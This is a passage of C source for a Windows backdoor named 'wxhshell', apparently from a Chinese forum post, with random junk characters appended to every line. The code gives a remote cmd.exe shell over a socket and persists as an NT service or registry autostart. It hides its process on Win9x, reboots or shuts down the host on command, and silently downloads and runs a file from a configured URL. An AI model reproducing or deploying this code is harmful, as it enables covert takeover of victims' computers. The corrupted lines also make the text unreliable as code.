  } o1Xk\R{  
  else { qmK!d<4  
l5R H~F  
    switch(cmd[0]) { %'>. R  
  $a-~ozr`C  
  // 帮助 1"'//0 7  
  case '?': { S)~h|&A(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D( _a Xy  
    break; "qF&%&#r'  
  } ^fx9R 5E$:  
  // 安装 E`X+fJx  
  case 'i': { /M#A[tZ3  
    if(Install()) '*T7tl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z><JbSE?  
    else E u@TCw8@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >GjaA1,  
    break; hVlL"w*1  
    } _W!g'HP-D  
  // 卸载 >Z3}WMgBN  
  case 'r': { fLy s$*^)^  
    if(Uninstall()) $0wl=S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,wq.C6;&  
    else `@ `CZg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % va/x]K  
    break; MAR;k?d  
    } :+;F"_  
  // 显示 wxhshell 所在路径 |e9}G,1  
  case 'p': { :l6sESr  
    char svExeFile[MAX_PATH]; rdC(+2+Ay  
    strcpy(svExeFile,"\n\r"); R=IeAuZR4k  
      strcat(svExeFile,ExeFile); w@"|S_E  
        send(wsh,svExeFile,strlen(svExeFile),0); 'rg$%M*(  
    break; 9<Bf5d   
    } QQ?` 1W  
  // 重启 -1< }_*  
  case 'b': { >2wjV"W?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UyJ5}fBJ  
    if(Boot(REBOOT)) jR48 .W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _2TIan}  
    else { eF2<L[9  
    closesocket(wsh); P8TiB  
    ExitThread(0); Qn<< &i~  
    } 0h; -Yg  
    break; Ii"cDH9  
    } F"bbU/5  
  // 关机 ./6L&?*`~;  
  case 'd': { aMHIOA%Kh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W0?yPP=.  
    if(Boot(SHUTDOWN)) J%}}( G~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {o]OxqE@  
    else { bFTWuM  
    closesocket(wsh); YZoH{p9f  
    ExitThread(0); FV^kOz  
    }  e%qMrR  
    break; doe[f_\  
    } :p OX,  
  // 获取shell x!Wl&  
  case 's': { 5vY1 XZt{  
    CmdShell(wsh); U^Hymgb%  
    closesocket(wsh); d<#Xqc  
    ExitThread(0); <m9IZI Y<  
    break; PN<Y&/fB  
  } o%CBSm]  
  // 退出 4(o0I~hpB?  
  case 'x': { X8Gw8^t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A4'v Jk  
    CloseIt(wsh); "bC8/^  
    break; ?2Bp^3ytJ  
    } !dmI}<@&k  
  // 离开 1{"e'[ L  
  case 'q': { Lw-)ijBW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cC>.`1:  
    closesocket(wsh); Km-lWreTH  
    WSACleanup(); 377$c;4 F  
    exit(1); fFiFc^  
    break; ~Ge-7^Fo7  
        } 5$N4< Lo7  
  } .XS rLb?  
  } R1?g6. Mq  
lHZf'P_Wx  
  // 提示信息 NjL,0Bp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6nxf <1  
} Rqu;;VI[  
  } =@B9I<GKf  
()XL}~I{!A  
  return; ou@Dd4  
} t?{E_70W  
kvryDM  
// shell模块句柄 %!x\|@C  
int CmdShell(SOCKET sock) DUY#RJf  
{ 5P+3D{  
STARTUPINFO si; V .$<  
ZeroMemory(&si,sizeof(si)); >WG$!o+R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !*EHr09N7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; # |2w^Kn  
PROCESS_INFORMATION ProcessInfo; +-HaYB|p  
char cmdline[]="cmd"; `N2zeFG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4uDz=B+8y  
  return 0; c1e7h l  
} U =T[-(:H  
sL[,J[AN;  
// 自身启动模式 4l[f}Z  
int StartFromService(void) 5jkW@  
{ `W{Ye=|[d#  
typedef struct }1epn#O_4  
{ -`#LrO;n  
  DWORD ExitStatus; R (4 :_ xc  
  DWORD PebBaseAddress; {Pu\KRU  
  DWORD AffinityMask; |PTL!>ym2  
  DWORD BasePriority; KJJ8P`Kx  
  ULONG UniqueProcessId; DKYrh-MN  
  ULONG InheritedFromUniqueProcessId; ,I'Y)SLx  
}   PROCESS_BASIC_INFORMATION; \y#gh95  
N\ GBjr-d  
PROCNTQSIP NtQueryInformationProcess; Qz[~{-<  
7&OU!gp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O:#t> ;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hA)3Ah*  
c tTbvXP  
  HANDLE             hProcess; Cv~t~  
  PROCESS_BASIC_INFORMATION pbi; Ca]vK'(  
9A)(K,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =as]>?<  
  if(NULL == hInst ) return 0; rVFAwbR  
a+,)rY9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6BNOF66kH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RG#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7$;mkHu4H%  
/?HRq ?n  
  if (!NtQueryInformationProcess) return 0; lvcX}{>\  
Y#NlbKkzu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r'k-*I  
  if(!hProcess) return 0; !dSY?1>U<  
x)nBy)<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lOcvRF  
 /dBQ*f5  
  CloseHandle(hProcess); V#C[I~l  
t9W_ [_a9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vz51=?75  
if(hProcess==NULL) return 0; ATH0n>)  
cfa#a!Y4  
HMODULE hMod; k h#|`E#,  
char procName[255]; d),@&MSN  
unsigned long cbNeeded; =i\~][-  
.\LWV=B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [m!$01=  
qEX59v  
  CloseHandle(hProcess); ~Og'IRf  
nD!C9G#oS  
if(strstr(procName,"services")) return 1; // 以服务启动 86.!s Q8b  
D("['`{  
  return 0; // 注册表启动 FHqa|4Ie  
} '+Ts IJh  
$Y)|&,  
// 主模块 Xq+7l5LP  
int StartWxhshell(LPSTR lpCmdLine) Z9 }qds6 y  
{ sm4@ywd>  
  SOCKET wsl; [}}oHm3&  
BOOL val=TRUE; Nr6YQH*[  
  int port=0; rOS fDv  
  struct sockaddr_in door; zxTm`Dh;[  
~iyd p  
  if(wscfg.ws_autoins) Install(); ]oXd|[ G  
"f3, w   
port=atoi(lpCmdLine); 31<hn+pE &  
u,4,s[  
if(port<=0) port=wscfg.ws_port; ,TeDJ\k  
_n Oio?  
  WSADATA data; !f yE Hk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J+w"{ O  
{b7P1}>-*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =KMd! $J\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /Y|9!{.  
  door.sin_family = AF_INET; (;V]3CtU*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z:)\j.  
  door.sin_port = htons(port); 7Ja^d-F7  
DTAEfs!ZW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SDcD(G  
closesocket(wsl); 3sHC1 +  
return 1; HOtays,#<}  
} daY^{u3  
>{ne!  
  if(listen(wsl,2) == INVALID_SOCKET) { @_h/%>0  
closesocket(wsl); bXC;6xZV  
return 1; b> &kL  
} FV!  
  Wxhshell(wsl); 64h r| v  
  WSACleanup(); @fPiGu`L  
2p(K0PtX  
return 0; O BF5Tl4  
 oC >^V5  
} #oJ9BgDry  
e8--qV#<  
// 以NT服务方式启动 8mV`|2>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >=r094<  
{ OfbM]:}<3  
DWORD   status = 0; u L/*,[}'  
  DWORD   specificError = 0xfffffff; f*bs{H'5  
3 3s.p'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z^ KrR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #0hX)7(j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :X,1KR  
  serviceStatus.dwWin32ExitCode     = 0; g>T'R Vb  
  serviceStatus.dwServiceSpecificExitCode = 0; [[LCEw  
  serviceStatus.dwCheckPoint       = 0; ~?+Jt3?,  
  serviceStatus.dwWaitHint       = 0; "((6)U#  
htkn#s~=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jg/WE1p>  
  if (hServiceStatusHandle==0) return; BVC\~j j  
:,LX3,  
status = GetLastError(); e9o(hL  
  if (status!=NO_ERROR) q J@XVN4   
{ 0_,V}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'FO^VJ;ha  
    serviceStatus.dwCheckPoint       = 0; O`rAqO0F  
    serviceStatus.dwWaitHint       = 0; ){icI <  
    serviceStatus.dwWin32ExitCode     = status; | t3_E  
    serviceStatus.dwServiceSpecificExitCode = specificError; "&77`R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); US@ak4Y6Z  
    return; p`T7Y\\#!  
  } .2Y"=|NdA  
Mp7r`A,6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y[ a$~n^:n  
  serviceStatus.dwCheckPoint       = 0; Vdh5s292h  
  serviceStatus.dwWaitHint       = 0; &NB[:S =  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ag#p )  
} W5HC7o\4  
<G}>Gk8x  
// 处理NT服务事件,比如:启动、停止 {UvZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !E4YUEY 6  
{ 7:9WiN5b  
switch(fdwControl) {CYFM[V  
{ yLipuMNV  
case SERVICE_CONTROL_STOP: sj0Hv d9  
  serviceStatus.dwWin32ExitCode = 0; 7K%Ac  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B ,e3r  
  serviceStatus.dwCheckPoint   = 0; AdKv!Ta5b  
  serviceStatus.dwWaitHint     = 0; JY4 +MApN  
  { QEm6#y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z_ak4C  
  } ?.,..p  
  return; LmseY(i N  
case SERVICE_CONTROL_PAUSE: P8:k"i/6J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q: ?6  
  break; cOxF.(L  
case SERVICE_CONTROL_CONTINUE: gR?=z}`@p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 305()  
  break; jaFBz&P/#  
case SERVICE_CONTROL_INTERROGATE: u01x}Ff~6  
  break; tg7%@SI5^-  
}; HT[<~c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yAW%y  
} <x53b/ft  
[?.k8;k  
// 标准应用程序主函数  r@/+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |z-A;uL<  
{ v0apEjT  
&3:-(:<U  
// 获取操作系统版本 '>@ evrG  
OsIsNt=GetOsVer(); }BzV<8F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZZX|MA!  
1<Qb"FN!2  
  // 从命令行安装 [59_n{S 1  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5)AMl)  
&Plc  
  // 下载执行文件 [yW0U:m  
if(wscfg.ws_downexe) { xbvZ7g^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?FA} ;?v  
  WinExec(wscfg.ws_filenam,SW_HIDE); |Q@4F&k  
} z^ rf;  
ovvR{MTc  
if(!OsIsNt) { +YI/(ko=  
// 如果时win9x,隐藏进程并且设置为注册表启动 zw_Xh~4"b  
HideProc(); UQ}[2x(Kb  
StartWxhshell(lpCmdLine); eYOwdTrq  
} +j%!RS$ko  
else +A>>Ak|s  
  if(StartFromService()) jL<:N 8  
  // 以服务方式启动 "fU=W|lY  
  StartServiceCtrlDispatcher(DispatchTable); 4703\ HK  
else v8 I&~_b  
  // 普通方式启动 ~+/IzckrG  
  StartWxhshell(lpCmdLine); U_K"JOZ  
nxS|]  
return 0; h-].?X,]Q  
}
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只看该作者 1 发表于: 2006-10-10
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